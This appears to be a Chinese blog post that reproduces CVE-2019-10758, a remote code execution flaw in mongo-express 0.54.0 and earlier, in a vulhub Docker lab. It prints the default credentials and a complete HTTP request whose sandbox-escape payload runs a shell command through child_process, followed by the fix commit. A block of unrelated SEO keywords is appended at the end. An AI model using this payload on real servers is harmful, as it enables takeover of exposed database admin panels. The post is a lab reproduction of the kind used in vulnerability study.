千家信息网

如何进行MongoDB mongo-express远程代码执行

发表于:2024-11-24 作者:千家信息网编辑
千家信息网最后更新 2024年11月24日,这篇文章将为大家详细讲解有关如何进行MongoDB mongo-express远程代码执行,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。漏洞简介:此软
千家信息网最后更新 2024年11月24日如何进行MongoDB mongo-express远程代码执行

这篇文章将为大家详细讲解有关如何进行MongoDB mongo-express远程代码执行,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

漏洞简介:

此软件包的受影响版本容易受到使用toBSON方法的端点通过远程执行代码(RCE)攻击的攻击。 在非安全环境中滥用vm依赖关系来执行exec命令。 默认用户名是admin,密码是pass。

威胁类型

远程代码执行

威胁等级

漏洞编号

CVE-2019-10758

受影响系统及应用版本

mongo-express,版本0.54.0及更低版本

不受影响的版本

mongo-express 0.54.0或更高版本。

漏洞复现:

这个漏洞环境感觉vulhub的就可以满足,所以选择搭建vulhub的环境

vulhub下载

 git clone https://github.com.cnpmjs.org/vulhub/vulhub

这里还有个小福利,有没有觉得经常git clone的时候特别慢?几K、十几K的下载?

为了解决这个问题,尝试了好多方法,总结了一个最有效的方法

git clone的时候在把https://github.com换成: https://github.com.cnpmjs.org/

这是一个国内的github镜像站,下载速度..怎么说呢,起飞!

安装docker(我之前安装过)

安装docker-compose

pip install docker-compose

启用docker,拉取镜像,启动环境

PS:这就又要说一个福利了,docker pull的时候有没有感觉很慢?放着阿里这么大的靠山得用起来呀

https://cr.console.aliyun.com/#/accelerator

登录阿里云进去,左下角有个docker镜像加速,按步骤来,然后...起飞!!

(都是一个坑一个坑摸出来的...)

至此环境搭建成功!

环境启动后,访问http://192.168.192.128:8081即可查看到Web页面。

攻击复现:

直接发送如下数据包,即可执行代码

POST /checkValid HTTP/1.1Host: your-ipAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeAuthorization: Basic YWRtaW46cGFzcw==Content-Type: application/x-www-form-urlencodedContent-Length: 124 document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")

Poc目标:在/tcp下创建success文件

发送数据包后访问 http://localhost:8081

查看是否创建成功:

docker-compose exec web ls /tmp

成功创建uccess文件,都到这一步了,还能做什么自由发挥~

ps:此文章仅用于交流学习~

2、修复建议

https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2

在0.54.0中将bson.js中的vm依赖删除,改用mongo-query-parser

关于如何进行MongoDB mongo-express远程代码执行就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

版本 环境 代码 漏洞 成功 方法 时候 镜像 影响 攻击 内容 感觉 数据 文件 文章 更多 知识 福利 篇文章 阿里 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 银行 软件开发 面经 庆云互联网科技 构建数据库流程图 智能学生证软件开发 人工智能软件开发哪家可靠 市北区游戏软件开发哪家好 浙江信息化软件开发服务参考价格 服务器安全狗指的什么 网络安全 Matrix 核心显卡能软件开发吗 app从服务器获取数据 山西华为服务器虚拟化建设云空间 数据库解压工具完整中文版 万方医学数据库包年多少钱 软件开发进去互联网项目 怎么查询华为服务器是不是原装的 厦大 软件开发技术 大作业 网络技术 社会治理 谷歌软件开发工程师工作内容 公网数据库在公司内网访问 数据库与数据处理课后习题答案 北京华为服务器维修云主机 服务器型号与内存 贵广网络技术岗位待遇 人类互联网科技视频 关于软件开发的市场分析 安全第一课网络安全绘画图片 还有哪些网络安全防护措施 软件开发太累咋办 免费网络安全视频素材
0